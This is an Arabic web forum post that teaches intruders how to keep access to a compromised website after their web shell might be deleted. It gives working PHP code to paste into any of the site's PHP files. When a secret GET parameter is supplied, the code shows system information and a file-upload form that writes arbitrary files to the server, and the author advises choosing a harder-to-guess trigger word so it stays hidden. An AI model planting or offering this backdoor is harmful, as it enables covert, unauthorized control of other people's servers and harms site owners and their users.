![]() |
حقن مركز رفع في أي ملف php
بسم الله الرحمن الرحيم السلام عليكم ورحمه الله وبركاته ______________________________ احيان ترفع شل على سيرفر معين..وتكون منت فاضي له ! .. وتبغى ترجع له بعدين لكن احتمال كبير راعي الموقع يشوف الشل ويحذفه ! لذلك .. اليوم عندي طريقه يمكن البعض ما تخطر ببالهم.. وهي: حقن كود مركز رفع في متغيرGET .. وذلك للرجوع للموقع في وقت لاحق.. تفتح أي ملفphpبالموقع وتحط هذا الكود:: كود PHP: if($_GET['upload'] == "mcprof"){ echo '<b><br><br>'.php_uname().'<br></b>'; echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>The File Has Been Uploaded !!</b><br><br>'; } else { echo '<b>an Error !!</b><br><br>'; } } } لاستعراض مركز الرفع: كود PHP: domain.com>رابط الموقع file.php> الملف اللي حطيت فيه الكود والافضل انك تغير قيمه mcprofالى كلمه اصعب عشان محد يلقاه بالصدفهhttp://vb.ehcommunity.com/images/icons/icon10.gif والسلام عليكم >> |
الساعة الآن 03:47 AM |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
development-point